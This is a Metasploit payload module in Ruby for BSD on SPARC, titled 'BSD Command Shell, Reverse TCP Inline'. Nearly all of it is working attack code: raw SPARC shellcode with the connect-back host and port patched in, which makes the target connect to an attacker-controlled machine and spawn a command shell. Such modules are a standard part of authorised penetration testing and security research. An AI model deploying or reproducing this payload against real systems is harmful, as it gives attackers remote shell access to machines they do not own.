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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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module MetasploitModule
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  CachedSize = 128
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  include Msf::Payload::Single
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  include Msf::Payload::Bsd
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  include Msf::Sessions::CommandShellOptions
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  def initialize(info = {})
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    super(merge_info(info,
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      'Name'          => 'BSD Command Shell, Reverse TCP Inline',
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      'Description'   => 'Connect back to attacker and spawn a command shell',
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      'Author'        => 'vlad902',
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      'License'       => MSF_LICENSE,
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      'Platform'      => 'bsd',
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      'Arch'          => ARCH_SPARC,
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      'Handler'       => Msf::Handler::ReverseTcp,
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      'Session'       => Msf::Sessions::CommandShell
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    ))
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  end
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  def generate(_opts = {})
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    port    = (datastore['RPORT'] || '0').to_i
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    host    = nil
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    begin
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      host    = Rex::Socket.resolv_nbo_i(datastore['RHOST'] || '127.0.0.1')
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    rescue SocketError
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      host    = Rex::Socket.resolv_nbo_i('127.0.0.1')
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    end
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    payload =
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      "\x9c\x2b\xa0\x07\x94\x1a\xc0\x0b\x92\x10\x20\x01\x90\x10\x20\x02" +
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      "\x82\x10\x20\x61\x91\xd0\x20\x08\xd0\x23\xbf\xf8\x92\x10\x20\x03" +
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      "\x92\xa2\x60\x01\x82\x10\x20\x5a\x91\xd0\x20\x08\x12\xbf\xff\xfd" +
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      "\xd0\x03\xbf\xf8" +
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      Rex::Arch::Sparc.set(0xff020000 | port, "l0") +
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      Rex::Arch::Sparc.set(host, "l1") +
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      "\xe0\x3b\xbf\xf0\x92\x23\xa0\x10\x94\x10\x20\x10\x82\x10\x20\x62" +
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      "\x91\xd0\x20\x08\x94\x1a\xc0\x0b\x21\x0b\xd8\x9a\xa0\x14\x21\x6e" +
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      "\x23\x0b\xdc\xda\x90\x23\xa0\x10\x92\x23\xa0\x08\xe0\x3b\xbf\xf0" +
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      "\xd0\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\x91\xd0\x20\x08"
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  end
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end
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